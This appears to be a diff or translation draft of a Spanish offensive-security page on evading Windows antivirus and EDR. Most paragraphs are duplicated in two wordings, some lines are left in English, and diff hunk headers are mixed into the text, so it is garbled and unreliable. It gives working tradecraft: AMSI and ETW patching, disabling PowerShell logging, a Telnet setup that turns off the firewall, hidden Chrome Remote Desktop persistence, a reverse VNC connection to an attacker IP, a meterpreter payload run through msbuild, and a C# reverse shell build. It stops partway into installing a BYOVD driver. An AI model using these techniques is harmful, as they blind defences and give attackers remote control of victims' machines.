Esta técnica fue inicialmente descubierta por [@RastaMouse](https://twitter.com/_RastaMouse/) y consiste en encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones que devuelven el código E_INVALIDARG; de este modo, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio.
Esta técnica fue inicialmente descubierta por [@RastaMouse](https://twitter.com/_RastaMouse/) e implica encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código E_INVALIDARG; de esta manera, el resultado del escaneo real devolverá 0, lo cual se interpreta como un resultado limpio.
> [!TIP]
> Por favor lea [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada.
> Por favor lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada.
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
También hay muchas otras técnicas usadas para bypassear AMSI con PowerShell; consulta [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [**este repositorio**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
Esta herramienta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) también genera scripts para bypass AMSI.
Esta herramienta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) también genera scripts para bypassear AMSI.
**Eliminar la firma detectada**
**Remove the detected signature**
Puedes usar una herramienta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** y **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para eliminar la firma AMSI detectada de la memoria del proceso actual. Esta herramienta funciona escaneando la memoria del proceso actual en busca de la firma AMSI y luego sobrescribiéndola con instrucciones NOP, eliminándola efectivamente de la memoria.
**Productos AV/EDR que usan AMSI**
**AV/EDR products that uses AMSI**
Puedes encontrar una lista de productos AV/EDR que usan AMSI en **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Use Powershell version 2**
Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneados por AMSI. Puedes hacer esto:
Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin que AMSI los escanee. Puedes hacer esto:
```bash
powershell.exe -version 2
```
## Registro de PowerShell
## PS Logging
PowerShell logging es una función que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para auditoría y solución de problemas, pero también puede ser un **problema para los atacantes que quieren evadir la detección**.
PowerShell logging es una característica que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para auditoría y resolución de problemas, pero también puede ser un **problema para atacantes que quieren evadir la detección**.
Para eludir el registro de PowerShell, puedes usar las siguientes técnicas:
Para evadir PowerShell logging, puedes usar las siguientes técnicas:
- **Disable PowerShell Transcription and Module Logging**: Puedes usar una herramienta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para este propósito.
- **Use Powershell version 2**: Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin que AMSI los escanee. Puedes hacerlo: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para iniciar un powershell sin defensas (esto es lo que `powerpick` from Cobal Strike usa).
- **Use Powershell version 2**: Si usas PowerShell version 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneados por AMSI. Puedes hacerlo así: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para lanzar una PowerShell sin defensas (esto es lo que `powerpick` de Cobal Strike usa).
## Ofuscación
> [!TIP]
> Varias técnicas de ofuscación dependen de cifrar datos, lo que incrementará la entropía del binario y facilitará que los AVs y EDRs lo detecten. Ten cuidado con esto y quizá aplica cifrado solo a secciones específicas de tu código que sean sensibles o que necesiten ocultarse.
> Varias técnicas de ofuscación se basan en encriptar datos, lo que aumentará la entropía del binario y facilitará que los AVs y EDRs lo detecten. Ten cuidado con esto y quizá aplica encriptación solo a secciones específicas de tu código que sean sensibles o necesiten ocultarse.
### Desofuscando binarios .NET protegidos con ConfuserEx
### Desofuscando binarios .NET protegidos por ConfuserEx
Al analizar malware que usa ConfuserEx 2 (o forks comerciales) es común enfrentar varias capas de protección que bloquearán descompiladores y sandboxes. El flujo de trabajo siguiente restaura de forma fiable un IL casi original que posteriormente puede descompilarse a C# con herramientas como dnSpy o ILSpy.
Al analizar malware que usa ConfuserEx 2 (o forks comerciales) es común enfrentarse a varias capas de protección que bloquearán descompiladores y sandboxes. El flujo de trabajo siguiente resta reliably **restaura un IL casi original** que posteriormente puede descompilarse a C# en herramientas como dnSpy o ILSpy.
1. Eliminación de anti-tamper ConfuserEx encripta cada *method body* y lo desencripta dentro del constructor estático del *module* (`<Module>.cctor`). Esto también parchea el checksum del PE por lo que cualquier modificación hará que el binario falle. Usa **AntiTamperKiller** para localizar las tablas de metadata encriptadas, recuperar las claves XOR y reescribir un ensamblado limpio:
1. Anti-tampering removal ConfuserEx encripta cada *method body* y lo desencripta dentro del constructor estático del *module* (`<Module>.cctor`). Esto también parchea el PE checksum, por lo que cualquier modificación hará que el binario falle. Usa **AntiTamperKiller** para localizar las tablas de metadata encriptadas, recuperar las claves XOR y reescribir un ensamblado limpio:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
La salida contiene los 6 parámetros anti-tamper (`key0-key3`, `nameHash`, `internKey`) que pueden ser útiles al construir tu propio unpacker.
2. Recuperación de símbolos / control-flow alimenta el archivo *clean* a **de4dot-cex** (un fork de de4dot consciente de ConfuserEx).
2. Symbol / control-flow recovery alimenta el archivo *clean* a **de4dot-cex** (un fork de de4dot con soporte para ConfuserEx).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Opciones:
`-p crx` seleccionar el perfil ConfuserEx 2
• de4dot deshará el control-flow flattening, restaurará los namespaces, classes y nombres de variables originales y desencriptará las cadenas constantes.
Flags:
`-p crx` selecciona el perfil ConfuserEx 2
• de4dot deshará el control-flow flattening, restaurará los namespaces, clases y nombres de variables originales y desencriptará las cadenas constantes.
3. Eliminación de proxy-calls ConfuserEx reemplaza llamadas directas a métodos con wrappers ligeros (a.k.a *proxy calls*) para dificultar aún más la descompilación. Elimínalos con **ProxyCall-Remover**:
3. Proxy-call stripping ConfuserEx reemplaza llamadas directas a métodos con wrappers ligeros (aka *proxy calls*) para romper aún más la descompilación. Elimínalos con **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Tras este paso deberías observar APIs normales de .NET como `Convert.FromBase64String` o `AES.Create()` en lugar de funciones wrapper opacas (`Class8.smethod_10`, …).
Después de este paso deberías observar APIs normales de .NET como `Convert.FromBase64String` o `AES.Create()` en lugar de funciones wrapper opacas (`Class8.smethod_10`, …).
4. Limpieza manual ejecuta el binario resultante en dnSpy, busca grandes blobs Base64 o uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar el payload *real*. A menudo el malware lo almacena como un arreglo de bytes codificado TLV inicializado dentro de `<Module>.byte_0`.
4. Limpieza manual ejecuta el binario resultante bajo dnSpy, busca grandes blobs Base64 o el uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar la carga útil *real*. A menudo el malware la almacena como un arreglo de bytes codificado TLV inicializado dentro de `<Module>.byte_0`.
La cadena anterior restaura el flujo de ejecución **sin** necesitar ejecutar la muestra maliciosa útil cuando trabajas en una estación desconectada.
La cadena anterior restaura el flujo de ejecución **sin** necesitar ejecutar la muestra maliciosa útil cuando trabajas en una estación de trabajo offline.
> 🛈 ConfuserEx produce un atributo personalizado llamado `ConfusedByAttribute` que puede usarse como IOC para triage automático de muestras.
🛈 ConfuserEx produce un atributo personalizado llamado `ConfusedByAttribute` que puede usarse como IOC para triage automático de muestras.
#### One-liner
```bash
@ -329,39 +327,39 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de aumentar la seguridad del software mediante [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) y protección contra manipulación.
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de ofrecer una mayor seguridad del software mediante [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) y protección contra manipulación.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador.
- [**obfy**](https://github.com/fritzone/obfy): Añade una capa de operaciones ofuscadas generadas por el framework de metaprogramación de templates de C++, lo que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un obfuscator binario x64 capaz de ofuscar varios tipos de archivos pe incluyendo: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame es un motor simple de código metamórfico para ejecutables arbitrarios.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un framework de ofuscación de código fino para lenguajes soportados por LLVM que utiliza ROP (return-oriented programming). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones normales en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
- [**obfy**](https://github.com/fritzone/obfy): Añade una capa de operaciones ofuscadas generadas por el framework de metaprogramación de plantillas de C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 capaz de ofuscar diversos archivos PE, incluyendo: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico sencillo para ejecutables arbitrarios.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un framework de ofuscación de código de grano fino para lenguajes soportados por LLVM que usa ROP (return-oriented programming). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un .NET PE Crypter escrito en Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos
## SmartScreen & MoTW
Puede que hayas visto esta pantalla al descargar algunos ejecutables desde internet y ejecutarlos.
Es posible que hayas visto esta pantalla al descargar algunos ejecutables de internet y ejecutarlos.
Microsoft Defender SmartScreen es un mecanismo de seguridad diseñado para proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen funciona principalmente con un enfoque basado en reputación, lo que significa que las aplicaciones descargadas de forma poco común activarán SmartScreen, alertando e impidiendo que el usuario final ejecute el archivo (aunque el archivo todavía puede ejecutarse haciendo clic en More Info -> Run anyway).
SmartScreen funciona principalmente con un enfoque basado en reputación, lo que significa que las aplicaciones descargadas de manera poco común activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (aunque el archivo aún puede ejecutarse haciendo clic en More Info -> Run anyway).
**MoTW** (Mark of The Web) es un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con el nombre Zone.Identifier que se crea automáticamente al descargar archivos desde internet, junto con la URL desde la que se descargó.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Comprobando el ADS Zone.Identifier para un archivo descargado de internet.</p></figcaption></figure>
> [!TIP]
> Es importante destacar que los ejecutables firmados con un certificado de firma **confiable** **no activarán SmartScreen**.
> Es importante tener en cuenta que los ejecutables firmados con un certificado de firma **confiable** **no activarán SmartScreen**.
Una forma muy efectiva de evitar que tus payloads reciban el Mark of The Web es empaquetarlos dentro de algún tipo de contenedor como un ISO. Esto ocurre porque Mark-of-the-Web (MOTW) **no puede** aplicarse a volúmenes **no NTFS**.
Una forma muy efectiva de evitar que tus payloads obtengan el Mark of The Web es empaquetarlos dentro de algún tipo de contenedor como un ISO. Esto sucede porque Mark-of-the-Web (MOTW) **no puede** aplicarse a volúmenes **no NTFS**.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta payloads en contenedores de salida para evadir Mark-of-the-Web.
Example usage:
Ejemplo de uso:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -389,51 +387,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## ETW
Event Tracing for Windows (ETW) es un potente mecanismo de registro en Windows que permite a las aplicaciones y componentes del sistema **registrar eventos**. Sin embargo, también puede ser usado por productos de seguridad para monitorizar y detectar actividades maliciosas.
Event Tracing for Windows (ETW) es un potente mecanismo de registro en Windows que permite a las aplicaciones y a los componentes del sistema **registrar eventos**. Sin embargo, también puede ser utilizado por productos de seguridad para monitorizar y detectar actividades maliciosas.
Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. Esto se hace parcheando la función en memoria para que devuelva inmediatamente, deshabilitando efectivamente el registro ETW para ese proceso.
De forma similar a cómo se deshabilita AMSI (eludida), también es posible hacer que la función **`EtwEventWrite`** del proceso en espacio de usuario devuelva inmediatamente sin registrar ningún evento. Esto se hace parcheando la función en memoria para que devuelva inmediatamente, deshabilitando efectivamente el registro ETW para ese proceso.
Puedes encontrar más información en **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
Cargar binarios C# en memoria se conoce desde hace tiempo y sigue siendo una excelente forma de ejecutar tus herramientas de post-explotación sin ser detectado por AV.
Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
Dado que el payload se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
La mayoría de los C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar assemblies C# directamente en memoria, pero hay diferentes formas de hacerlo:
- **Fork\&Run**
It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. Esto tiene tanto ventajas como desventajas. La ventaja del método fork and run es que la ejecución ocurre **fuera** de nuestro Beacon implant process. Esto significa que si algo en nuestra acción post-explotación sale mal o es detectado, hay una **muchísima más probabilidad** de que nuestro **implant sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Behavioural Detections**.
Consiste en **crear un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código y, cuando termine, matar el nuevo proceso. Esto tiene tanto ventajas como desventajas. La ventaja del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso implantado Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **probabilidad mucho mayor** de que nuestro **implant sobreviva.** La desventaja es que hay una **mayor probabilidad** de ser detectado por **Behavioural Detections**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Consiste en inyectar el código malicioso de post-explotación **en su propio proceso**. De este modo, puedes evitar crear un nuevo proceso y que este sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu payload, hay una **muchísima más probabilidad** de **perder tu beacon** ya que podría colapsar.
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que AV lo analice, pero la desventaja es que si algo sale mal con la ejecución de tu payload, hay una **probabilidad mucho mayor** de **perder tu beacon**, ya que podría bloquearse.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Si quieres leer más sobre C# Assembly loading, revisa este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> Si quieres leer más sobre la carga de C# Assembly, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
You can also load C# Assemblies **from PowerShell**, mira [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el video de S3cur3th1sSh1t ([https://www.youtube.com/watch?v=oe11Q-3Akuk](https://www.youtube.com/watch?v=oe11Q-3Akuk)).
También puedes cargar C# Assemblies **desde PowerShell**, revisa [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el [video de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Using Other Programming Languages
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso usando otros lenguajes dando a la máquina comprometida acceso **al entorno del intérprete instalado en la compartición SMB controlada por el atacante**.
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso usando otros lenguajes proporcionando a la máquina comprometida acceso **al entorno del intérprete instalado en la compartición SMB controlada por el atacante**.
Al permitir el acceso a los Interpreter Binaries y al entorno en la SMB share puedes **ejecutar código arbitrario en estos lenguajes en memoria** de la máquina comprometida.
Al permitir el acceso a los binarios del intérprete y al entorno en la compartición SMB, puedes **ejecutar código arbitrario en estos lenguajes en la memoria** de la máquina comprometida.
El repo indica: Defender aún escanea los scripts, pero al utilizar Go, Java, PHP, etc. tenemos **más flexibilidad para bypass static signatures**. Las pruebas con shells reversos aleatorios no ofuscados en estos lenguajes han resultado exitosas.
El repo indica: Defender aún escanea los scripts pero al utilizar Go, Java, PHP, etc. tenemos **más flexibilidad para eludir firmas estáticas**. Las pruebas con scripts de reverse shell aleatorios sin ofuscar en estos lenguajes han resultado exitosas.
## TokenStomping
Token stomping es una técnica que permite a un atacante **manipular el access token o un security producto como un EDR o AV**, permitiéndole reducir sus privilegios para que el proceso no muera pero no tenga permisos para comprobar actividades maliciosas.
Token stomping es una técnica que permite a un atacante **manipular el token de acceso o un producto de seguridad como un EDR o AV**, permitiéndole reducir sus privilegios para que el proceso no muera pero no tenga permisos para comprobar actividades maliciosas.
Para prevenir esto, Windows podría **evitar que procesos externos** obtengan handles sobre los tokens de los procesos de seguridad.
Para prevenir esto, Windows podría **evitar que procesos externos** obtengan handles sobre los tokens de procesos de seguridad.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -443,19 +441,20 @@ Para prevenir esto, Windows podría **evitar que procesos externos** obtengan ha
### Chrome Remote Desktop
As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), es sencillo desplegar Chrome Remote Desktop en el PC de una víctima y luego usarlo para tomar el control y mantener persistencia:
1. Download from https://remotedesktop.google.com/, haz clic en "Set up via SSH", y luego haz clic en el archivo MSI para Windows para descargarlo.
Como se describe en [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), es fácil desplegar Chrome Remote Desktop en el PC de una víctima y luego usarlo para tomar el control y mantener persistencia:
1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
3. Vuelve a la página de Chrome Remote Desktop y haz clic en next. El asistente te pedirá autorizar; haz clic en el botón Authorize para continuar.
4. Ejecuta el parámetro dado con algunos ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota el parámetro pin que permite establecer el pin sin usar la GUI).
3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI).
## Advanced Evasion
Evasion es un tema muy complicado; a veces tienes que tener en cuenta muchas fuentes de telemetría diferentes en un mismo sistema, así que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
La evasión es un tema muy complicado; a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
Cada entorno contra el que te enfrentes tendrá sus propias fortalezas y debilidades.
Te recomiendo ver esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una introducción a técnicas más avanzadas de evasión.
Te animo encarecidamente a ver esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una introducción a técnicas más avanzadas de evasión.
{{#ref}}
@ -473,12 +472,12 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Check which parts Defender finds as malicious**
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **determine qué parte Defender considera maliciosa** y te la separe.\
Otra herramienta que hace **lo mismo** es [**avred**](https://github.com/dobin/avred) con una web abierta que ofrece el servicio en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **determine qué parte Defender** encuentra como maliciosa y te la muestre.\
Otra herramienta que hace **lo mismo** es [**avred**](https://github.com/dobin/avred) con un servicio web abierto en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
Hasta Windows10, todas las versiones de Windows incluían un **servidor Telnet** que podías instalar (como administrador) haciendo:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -486,7 +485,7 @@ Haz que se **inicie** al arrancar el sistema y **ejecútalo** ahora:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Cambiar el puerto de telnet** (sigiloso) y desactivar el firewall:
**Cambiar el puerto de telnet** (stealth) y desactivar el firewall:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
@ -497,20 +496,20 @@ Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc
**EN EL HOST**: Ejecuta _**winvnc.exe**_ y configura el servidor:
- Habilita la opción _Disable TrayIcon_
- Establece una contraseña en _VNC Password_
- Establece una contraseña en _View-Only Password_
- Enable the option _Disable TrayIcon_
- Set a password in _VNC Password_
- Set a password in _View-Only Password_
Luego, mueve el binario _**winvnc.exe**_ y el archivo **recién** creado _**UltraVNC.ini**_ dentro de la **victim**
#### **Reverse connection**
El **attacker** debe **ejecutar en** su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para atrapar una reverse **VNC connection**. Luego, dentro de la **victim**: inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
El **attacker** debe **ejecutar en** su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una **reverse VNC connection**. Luego, dentro de la **victim**: inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ADVERTENCIA:** Para mantener el sigilo no debes hacer algunas cosas
**ADVERTENCIA:** Para mantener el sigilo no debes hacer lo siguiente
- No inicies `winvnc` si ya está en ejecución o provocarás un [popup](https://i.imgur.com/1SROTTl.png). Comprueba si está en ejecución con `tasklist | findstr winvnc`
- No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o provocará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
- No inicies `winvnc` si ya está en ejecución o provocarás un [popup](https://i.imgur.com/1SROTTl.png). Comprueba si está corriendo con `tasklist | findstr winvnc`
- No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o se abrirá [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
- No ejecutes `winvnc -h` para ayuda o provocarás un [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -533,7 +532,7 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Ahora **inicia el lister** con `msfconsole -r file.rc` y **ejecuta** la **xml payload** con:
Ahora **inicia el lister** con `msfconsole -r file.rc` y **ejecuta** el **xml payload** con:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
@ -543,9 +542,9 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### First C# Revershell
#### Primer reverse shell en C#
Compilarlo con:
Compílalo con:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
@ -646,7 +645,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Lista de ofuscadores para C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
Lista de ofuscadores de C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -661,7 +660,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Ejemplo de uso de python para construir injectors:
### Uso de python para ejemplo de build injectors:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -694,24 +693,24 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Bring Your Own Vulnerable Driver (BYOVD) Killing AV/EDR From Kernel Space
## Bring Your Own Vulnerable Driver (BYOVD) Eliminando AV/EDR desde el espacio del kernel
Storm-2603 aprovechó una pequeña utilidad de consola conocida como **Antivirus Terminator** para deshabilitar las protecciones endpoint antes de desplegar ransomware. La herramienta trae su **propio driver vulnerable pero *firmado*** y lo abusa para emitir operaciones privilegiadas en el kernel que ni siquiera los servicios AV Protected-Process-Light (PPL) pueden bloquear.
Storm-2603 aprovechó una pequeña utilidad de consola conocida como **Antivirus Terminator** para deshabilitar las protecciones del endpoint antes de desplegar ransomware. La herramienta trae su **propio driver vulnerable pero *firmado*** y lo abusa para emitir operaciones privilegiadas en el kernel que incluso los servicios AV Protected-Process-Light (PPL) no pueden bloquear.
Puntos clave
1. **Signed driver**: El archivo escrito en disco es `ServiceMouse.sys`, pero el binario es el driver legítimamente firmado `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” de Antiy Labs. Porque el driver posee una firma válida de Microsoft se carga incluso cuando Driver-Signature-Enforcement (DSE) está activado.
1. **Driver firmado**: El archivo entregado al disco es `ServiceMouse.sys`, pero el binario es el driver legítimamente firmado `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” de Antiy Labs. Debido a que el driver tiene una firma válida de Microsoft, se carga incluso cuando Driver-Signature-Enforcement (DSE) está habilitado.
2. **Service installation**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
